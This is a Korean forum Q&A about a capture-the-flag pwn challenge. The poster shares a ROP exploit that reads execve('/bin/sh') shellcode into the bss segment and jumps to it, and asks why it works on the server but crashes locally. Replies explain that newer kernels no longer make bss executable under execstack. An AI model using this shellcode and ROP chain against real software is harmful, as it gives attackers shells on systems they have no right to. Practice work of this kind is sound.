server에서는 성공했는데, local에서는 안 됩니다. (재문의)
앞서 질문을 드렸는데, 답변이 없어 새로 올립니다.
bss영역에 shellcode를 넣고 마지막에 bss주소로 띄게 하여 shellcode를 획득했습니다.
그런데 서버에 시도했을 때에는 바로 성공하는데, local에서는 계속 SIGSEGV가 납니다.
이것때문에 계속 안 되는줄 알고 삽질했는데, 혹이 이게 왜 그런것일지요?
[*] Process './validator_dist' stopped with exit code -11 (SIGSEGV) (pid 23803)
Lv.10 anous
7일 전 (수정됨)
스택 검사하는 부분은 건너띄고, 아래 payload를 보냈습니다.
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
bss = 0x000000000060104b
payload += p64(pop_rdi)
payload += p64(0) # rdi
payload += p64(pop_rsi_r15)
payload += p64(bss) + p64(0) # rsi, r15
payload += p64(pop_rdx)
payload += p64(len(shellcode))
payload += p64(read_plt)
payload += p64(bss)
p.send(payload)
pause()
p.send(shellcode)
p.interactive()
#pawnable
작성자 정보
답변
2
Dreamhack
대표 업적 없음
안녕하세요,
혹시 validator_server
는 사용하지 않으셨는지요?
baver
CTF First Place
-execstack 옵션으로 컴파일하면 스택에 실행권한을 줄 수 있는데요.
이 경우, Linux Kernel의 버전에 따라서 실행권한이 생기는 세그먼트의 영역 차이가 생깁니다.
- Kernel Version < 5.4: stack, data, bss 모두 실행권한 부여
- Kernel Version >= 5.4: stack만 실행권한 부여
따라서, local linux의 경우 최신버전의 커널을 사용하고 있을 것으로 보입니다.